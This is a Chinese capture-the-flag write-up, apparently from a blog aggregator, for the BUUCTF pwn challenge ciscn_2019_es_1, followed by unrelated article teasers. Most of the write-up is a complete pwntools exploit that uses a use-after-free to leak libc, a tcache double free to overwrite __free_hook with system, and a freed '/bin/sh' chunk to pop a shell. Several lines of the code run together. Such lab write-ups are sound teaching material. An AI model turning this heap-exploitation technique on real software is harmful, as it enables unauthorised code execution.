[BUUCTF]-PWN:ciscn_2019_es_1解析(tcachebin duf)

查看保护

再查看ida

大致为alloc创建堆块,free释放堆块,show输出堆块内容

但是要注意一点free没有清空堆块指针

完整exp:

from pwn import*
from LibcSearcher import*
p=process('./es1')
p=remote('node5.buuoj.cn',26841)def alloc(size,content1,content2):p.sendlineafter(b'choice:',str(1))p.sendlineafter(b'name',str(size))p.sendafter(b'please input name:',content1)p.sendafter(b'please input compary call:',content2)
def show(index):p.sendlineafter(b'choice:',str(2))p.sendlineafter(b'Please input the index:',str(index))
def free(index):p.sendlineafter(b'choice:',str(3))p.sendlineafter(b'Please input the index:',str(index))alloc(0x80,b'aa',b'bb')
alloc(0x20,b'aa',b'bb')
alloc(0x80,b'/bin/sh\x00',b'dd')
for i in range(0,8): #连续释放,填充tcachebinfree(0)
show(0) #没有删除堆块指针,所以可以直接输出
mainarena96=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(mainarena96))
mainarena=mainarena96-96
mallochook=mainarena-0x10
print(hex(mallochook))
libc=LibcSearcher('__malloc_hook',mallochook)
libcbase=mallochook-libc.dump('__malloc_hook')
freehook=libcbase+libc.dump('__free_hook')
system=libcbase+libc.dump('system')
binsh=libc.dump('str_bin_sh')
free(1) #利用tcachebin可以double free的性质,进行任意地址创建堆块
free(1)
alloc(0x20,p64(freehook),b'aa')
alloc(0x20,p64(0),b'aa')
alloc(0x20,p64(system),b'aa')
free(2)
p.interactive()

补充点1:在最后的两次free堆块1那里要注意堆块的大小,堆块大小为0x10来解题会费很大力气,因为在创建堆块的时候程序还会malloc一个大小为0x18的堆块,调试解题就会很困难,非常不建议这样设置,比如可以像这里一样设置为0x20

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/472281.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

SQL中的各种连接的区别总结

前言 今天主要的内容是要讲解SQL中关于Join、Inner Join、Left Join、Right Join、Full Join、On、 Where区别和用法,不用我说其实前面的这些基本SQL语法各位攻城狮基本上都用过。但是往往我们可能用的比较多的也就是左右连接和内连接了,而且对于许多初学…

CSP-201903-2-二十四点

CSP-201903-2-二十四点 一、中缀表达式转后缀表达式 中缀表达式是一种常见的数学表达式书写方式,其中操作符位于相关的操作数之间,如 A B。而后缀表达式(逆波兰表示法)则是一种没有括号,操作符跟随操作数之后的表示…

使用Taro开发鸿蒙原生应用——快速上手,鸿蒙应用开发指南

导读 本指南为开发者提供了使用 Taro 框架开发鸿蒙原生应用的快速入门方法。Taro,作为一个多端统一开发框架,让开发者能够使用一套代码同时适配多个平台,包括鸿蒙系统。文章将详细介绍如何配置开发环境,以及如何利用 Taro 的特性…

紫微斗数双星组合:天机天梁在辰戌

文章目录 前言内容总结 前言 紫微斗数双星组合:天机天梁在辰戌 内容 紫微斗数双星组合:天机天梁在辰戌 性格分析 在紫微斗数命盘中,天梁星是一颗“荫星”,能够遇难呈祥,化解凶危,主寿,主贵。…

私立医院患者大数据分析平台建设方案

一、项目目标 1、数据质量,统计数字不仅是真实可信,而且要及时,便于及时判断企业经营情况,同时通过内外部数据的对标,发现企业经营问题。 2、提供指标的监控预警,为决策提供支持,减少杂乱无用报表的生产。 3、提升数据处理效率,提高报表的可用性,让数据标准化,提高…

【旧文更新】【优秀毕设】人脸识别打卡/签到/考勤管理系统(OpenCV+最简基本库开发、可移植树莓派 扩展网络图像推流控制 验证码及Excel邮件发送等功能)

【旧文更新】【优秀毕设】人脸识别打卡/签到/考勤管理系统(OpenCV最简基本库开发、可移植树莓派 扩展网络图像推流控制 验证码及Excel邮件发送等功能) 文章目录 关于旧文新发毕设结构主页面验证码识别效果管理页面人脸信息采集管理实时数据更新签到结果…

DSA 经典数据结构与算法 学习心得和知识总结(三) |有向无环图及其应用

目录结构 注:提前言明 本文借鉴了以下博主、书籍或网站的内容,其列表如下: 1、参考书籍:《算法导论》第三版 就是这本被封神的杰作,就是它🤦 2、参考书籍:《数据结构》严奶奶版 3、参考书…

论文解读:在神经网络中提取知识(知识蒸馏)

摘要 提高几乎所有机器学习算法性能的一种非常简单的方法是在相同的数据上训练许多不同的模型,然后对它们的预测进行平均[3]。不幸的是,使用整个模型集合进行预测是很麻烦的,并且可能在计算上过于昂贵,无法部署到大量用户&#x…

【从Python基础到深度学习】 8. VIM两种状态

一、安装 sudo apt install vim 二、VIM两种模式 - 命令状态/编辑状态 1.1 进入/退出VIM 进入VIM vim 退出vim :q <enter> 2.2 根目录下添加配置文件 window下创建vimrc类型文件内容如下&#xff1a; set nu set cursorline set hlsearch set tabstop4 使用Wins…

CSS3学习(二)

目录&#xff1a; 1. 字体属性 1.1 字体系列 1.2 字体大小 1.3 字体粗细 1.4 文字样式 1.5 字体复合属性 1.6 总结 2 文本属性 2.1 文本颜色 2.2 对齐文本 2.3 装饰文本 2.4 文本缩进 2.5 行间距 2.6 总结 1. 字体属性 1.1 字体系列 使用font-family属性定义文…

云计算基础-虚拟机迁移原理

什么是虚拟机迁移 虚拟机迁移是指将正在运行的虚拟机实例从一个物理服务器&#xff08;或主机&#xff09;迁移到另一个物理服务器&#xff08;或主机&#xff09;的过程&#xff0c;而不会中断虚拟机的运行。 虚拟机拟机迁移分类虚 热迁移&#xff1a;开机状态下迁移 冷迁…

JVM-JVM中对象的生命周期

申明&#xff1a;文章内容是本人学习极客时间课程所写&#xff0c;文字和图片基本来源于课程资料&#xff0c;在某些地方会插入一点自己的理解&#xff0c;未用于商业用途&#xff0c;侵删。 原资料地址&#xff1a;课程资料 对象的创建 常量池检查:检查new指令是否能在常量池…